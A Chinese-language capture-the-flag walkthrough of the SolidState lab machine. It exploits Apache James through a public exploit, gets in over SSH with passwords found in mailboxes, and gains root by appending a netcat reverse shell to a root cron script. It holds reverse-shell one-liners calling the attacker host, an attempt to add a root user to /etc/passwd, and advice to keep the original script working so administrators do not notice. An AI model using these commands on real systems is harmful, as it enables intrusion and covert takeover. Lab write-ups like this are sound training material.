实战打靶集锦-002-SolidState

1. 锁定主机与端口

通过下面的命令进行主机发现。

$ sudo arp-scan -l

在这里插入图片描述
现在也看不出哪台主机是我的靶机大概率是191因为184是我临时打开上网的机器直接对着三个机器进行一下全端口扫描吧。

$ sudo nmap -p- 192.168.65.184
$ sudo nmap -p- 192.168.65. 191
$ sudo nmap -p- 192.168.65. 254

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
184有netbios服务以及microsoft-ds确实是我的windows机器254直接卡死了应该不是一个正常的主机191上有SMTP服务和80端口上的http服务基本上应该确认这就是靶机也基本符合靶机的基本特征。

2. 服务枚举

接下来我们通过nmap尝试获取一下开放端口上跑着什么服务按空格可以看扫描进度。

$ sudo nmap -p22,25,80,110,119,4555 -sV 192.168.65.191

在这里插入图片描述
主要有三个服务Apache web应用、JAMES邮件以及OpenSSH下面也是先探查Apache再探查JAMES实在搞不定的时候再对OpenSSH下手。

3. 服务探查

3.1 Apache探查

3.1.1 浏览器手工探查

直接在浏览器请求目标主机的80端口。
在这里插入图片描述
各个页面点击查看一下包括需要提交信息的提交一下看看有没有什么发现。
页面提交信息没有发现什么问题其他地方也没有发现异常仅在页面的最底下有一个webadmin@solid-state-security.com的联系邮箱我们先把webadmin这个用户名以及域名solid-state-security.com记下来这两个信息后面可能有用。
然后在kali攻击机的/etc/hosts中添加如下的两行内容并保存退出。
在这里插入图片描述
在浏览器中使用域名尝试访问一下web应用因为有些应用通过IP地址和通过域名访问会得到不同的结果这里并没有额外的发现。

3.1.2 目录枚举

分别使用dirsearch和nikto进行一下web应用的目录枚举。

$ dirsearch -u http://192.168.65.191

在这里插入图片描述
然后将扫描出来的目录手工请求一下看看有没有什么发现这里没有什么有价值的发现。
再用Nikto扫描一遍试试看有没有遗漏。

$ nikto -h http://192.168.65.191

在这里插入图片描述
也没发现有价值的信息到目前为止没有在web应用上找到突破暂时放弃。

3.2 JAMES探查

3.2.1 搜索公共EXP

接下来看一下邮件服务JAMES先搜索一下公共EXP看看。
在这里插入图片描述
惊喜啊竟然直接命中了我们的版本看上去第二个EXP相对更加容易利用第一个用ruby写的本人不太熟悉并且用到Metasploit第三个需要身份认证总体来看第二个相对简单并且是用相对熟悉的python写的。

3.2.2 EXP利用

用下面的命令把对应的EXP拷贝到当前工作目录。

$ searchsploit -m 35513

在这里插入图片描述
虽然从上图可以看出来漏洞利用代码是经过验证的Verified为了安全我们还是走读一下代码要养成这种好的习惯因为你在执行别人的漏洞利用代码的时候可能也会顺带执行了代码中夹带的攻击代码没有发现大问题。
整体的代码逻辑比较清晰先定义一个payload注意源代码中的payload只是为了验证不具备攻击性如果当前用户ID是0的话在root下添加一个proof文件然后尝试用默认的用户名密码root/root登录到JAMES的管理控制台4555端口添加一个账号然后连接到SMTP服务器25端口并尝试向新添加的账号发送一个邮件将payload作为了邮件内容的一部分。

3.2.2.1 构建payload

为了利用这个代码我们需要定义自己的payload这里我们选择建立反弹shell让靶机回连到我们的kali主机。
这里定义一个通过nc连接到攻击kali的反弹shell内容如下。

sh -i 2>&1 | nc 192.168.65.177 4444

将上述代码替换到漏洞利用代码中的payload并保存。

3.2.2.2 netcat构建反弹shell

然后在kali上启动一个nc监听。
在这里插入图片描述
接下来另开启一个命令执行会话直接运行修改后的漏洞利用代码。

$ python2 35513.py 192.168.65.191

在这里插入图片描述
漏洞利用代码成功被执行这说明JAMES远程管理控制台的账号密码确实是默认的root/root但是我们的nc监听并没有跟反弹shell建立连接。仔细查看漏洞利用代码的运行结果可以看到我们成功连接上了JAMES的远程管理控制台并创建了用户然后我们成功连接了SMTP服务器并发送了payload最后提示我们一旦用户登录我们的payload才会执行。
到这里貌似卡壳了因为这个靶机目前只有我自己在用不会有人登录因此也就不会触发我们的payload。因此下一步的重点应该放到“寻找可以登录靶机的账号”。

3.2.3 探查JAMES控制台

既然我们已经获得了JAMES远程管理控制台的用户名密码root/root我们何不登录进去查看一下呢说不定会与意外收获呢

3.2.3.1 登录控制台

通过下面的命令登录控制台。

$ nc -nv 192.168.65.191 4555

在这里插入图片描述
从控制台的HELP信息中我们可以发现我们不仅仅能够添加和删除用户邮箱用户还可以修改用户的密码。但是需要注意的一点是这里的用户仅仅是登录邮箱的用户而不是linux系统或者数据库这一类的用户所以即使我们修改了用户的密码也只能用修改后的密码来登录邮箱。
从上面可以看出目标系统中除了root/root远程管理控制台账号之外还有james、john、mindy、mailadmin中间那个很长的诡异的用户是我们的EXP利用代码创建的直接忽略掉即可。

3.2.3.1 更改邮箱账号

既然上面显示能够在控制台上修改邮箱账号的密码那我们尝试把上面列出的邮箱的密码逐个该修改一下。然后依次用这几个账号登录邮箱服务器看看能不能找到一些历史邮件并进一步从历史邮件中获得一些有用的线索。
按照HELP指示对列出的所有原始账号修改密码不再赘述。

3.2.3.2 查看邮箱内容

然后尝试用修改后的密码依次登录各个邮箱账号查看。
james的邮箱中没有邮件如下图。
在这里插入图片描述
依次查看其它几个邮箱账号。
在这里插入图片描述
在这里插入图片描述
欧耶john邮箱里有一封邮件通过 retr 1查看一下邮件内容。
在这里插入图片描述
貌似有些信息值得注意john将会在这封邮件之后给mindy发送一封包含密码的邮件。但是john的服务器上只有这一封邮件接下来我们看看mindy的邮箱里有没有这个携带密码的邮件。
在这里插入图片描述
mindy的邮箱中有两封邮件我们依次查看一下内容在第二封邮件中赫然出现了mailadmin发送的用户名密码。
在这里插入图片描述

4. 突破边界

重新在kali攻击机器上开启netcat监听。
在这里插入图片描述
直接用mindy的邮箱中获取的账号密码通过ssh尝试登录目标主机并检查netcat侦听是否有反弹shell回连。
在这里插入图片描述
幸福来的太突然反弹shell建立成功。

5. 提权

既然突破了边界那下一步就是提权了接下来我们看看怎么提权。

5.1 探查passwd文件

先查看一下/etc/passwd文件再说。
在这里插入图片描述
既然能够访问这个文件我们尝试看能不能直接写一个新用户到/etc/passwd文件先通过openssl生成一个密码其他信息直接复制root用户的这样创建的账号跟root用户有一样的权限。

$ echo "testusr:BKZqXABcHmt3Y:0:0:root:/root:/bin/bash" >> /etc/passwd

在这里插入图片描述
看来是不行的权限不够。

5.2 枚举进程

接下来看看机器上运行了哪些进程。
在这里插入图片描述
有点摸不着头绪了发现以root用户运行的内容特别多先记下来吧。

5.3 枚举可执行文件

先枚举一下可读可写的文件和目录吧。

$ find / -writable -type d 2>/dev/null

在这里插入图片描述
也没发现太多有用的信息有点无计可施了直接全盘搜索一下root用户所拥有的其它用户可写的可执行文件看看有没有收获吧。

$ find / -type f -user root -perm -o=w 2>/dev/null

在这里插入图片描述
注意看输出结果的第一个opt目录下有个tmp.py的可执行脚本我们看看是否可利用。
在这里插入图片描述
这感觉更像是定期删除/tmp目录中临时文件的脚本并且是root用户执行的显示有些混乱可能是反弹shell建立的不太好。

5.4 利用可执行文件

5.4.1 构建提权payload

从上面的tmp.py文件中可以看出来命令很简单。我们尝试直接将执行的命令“rm -r /tmp/* ”的后面添加上创建反弹shell的命令真正的渗透实战中尽量不要动原来的功能防止功能出现异常被管理员发现导致前功尽弃修改后的文件内容如下所示。

#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ;/bin/sh -i 2>&1|nc 192.168.65.177 5555 ')
except:
     sys.exit()

在这里插入图片描述

5.4.2 尝试再次构建反弹shell

然后在kali攻击机上开启5555端口监听看看会不会有反弹shell连接进来。
在这里插入图片描述
说明其实这里在实战中是不可取的因为首先我们不确定这里的tmp.py是否为定时执行另外我们也不知道执行频率是多长时间。一般情况下如果在这里等待5~10分钟还没有回连的话就得放弃这条线索了。
幸运的是我们等了大概三五分钟反弹shell建立了。
在这里插入图片描述

6. 获得flag

接下来我们检查一下是否提权成功。
在这里插入图片描述
从上面的输出我们可以看出我们的提权是成功的并且得到了flag获取了主机的IP信息。

7. 补充信息

如果这个时候没有成功会连的反弹shell可能是因为这个不是定时任务的脚本或者执行频率很低我们看看这个版本的操作系统有没有其它可以提权的方式。
先通过uname -a查看一下操作系统信息。
在这里插入图片描述
据说这个版本上还有一个名为dirty pipe的内核提权的漏洞CVE-2022-0847漏洞利用代码为http://haxx.in/files/dirtypipez.c接下来我们用这个来尝试一下提权。
先在32位机器上创建C代码文件将漏洞利用代码拷贝进去然后通过gcc命令编译。
在这里插入图片描述
将生成的a.out文件通过nc上传到靶机。
靶机上开启监听

 $ nc -nvlp 6666 > exp

将编译好的文件发送到靶机

$ nc -nv 192.168.65.191 6666 < a.out

但是我在靶机上执行编译好的程序时报错了如下。
在这里插入图片描述
可能是编译版本不对后面有时间再研究一下。

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6